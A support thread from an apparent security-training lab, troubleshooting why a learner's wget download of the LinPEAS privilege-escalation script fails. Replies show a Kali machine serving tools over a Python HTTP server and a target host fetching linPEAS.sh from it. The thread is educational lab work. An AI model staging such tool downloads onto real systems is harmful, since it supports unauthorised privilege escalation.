Forum Discussion
Can´t download linpeas with wget
- 8 months ago
Thanks for sharing your steps, that made troubleshooting a lot easier! I've just taken a look at the lab, and it looks like you might be getting the 404 error because downloading files with wget is case-sensitive, and the LinPEAS script is actually called linPEAS.sh, not linpeas.sh.
I've updated the lab's briefing panel, so the example command now reflects this correctly:
wget http://[Kali Desktop IP Address]:8000/LinPEAS/linPEAS.sh
Just make sure you update the placeholder with the Kali Desktop's actual IP address, and you should be good to go!
I hope this helps, but please reach out if you're still struggling, and I'll see if there's anything else I can help with 😁
hmm. just checked the lab:
on kali:
┌──(kali㉿kali-privesc)-[~]
└─$ cd Desktop/Tools/Linux/LinPEAS/
...
┌──(kali㉿kali-privesc)-[~/Desktop/Tools/Linux/LinPEAS]
└─$ python -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
...
the target:
ssh -l alex 10.102.154.98
...
(successful login)
...
wget http://10.102.100.242:8080/linPEAS.sh
then you'll see on kali:
┌──(kali㉿kali-privesc)-[~/Desktop/Tools/Linux/LinPEAS]
└─$ python -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.102.154.98 - - [27/Nov/2024 10:56:57] "GET /linPEAS.sh HTTP/1.1" 200 -
^C
and on target transfer was successfull.
i've also checked port 8000 which you were using:
┌──(kali㉿kali-privesc)-[~/Desktop/Tools/Linux/LinPEAS]
└─$ python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.102.154.98 - - [27/Nov/2024 11:00:07] "GET /linPEAS.sh HTTP/1.1" 200 -
^C
so, maybe the lab has a problem. just end it and restart again
Thanks steven!
posewadone please let me know if a restart fixes the issue or if you would like me to escalate this issue
- posewadone8 months ago
Bronze II
Hi KieranRowley.
Restarting the lab virtual machine and even another computer didn´t fix the problem.
Regards.
- KieranRowley8 months ago
Community Manager
Ok, I'll ask the lab author to take a look 🙂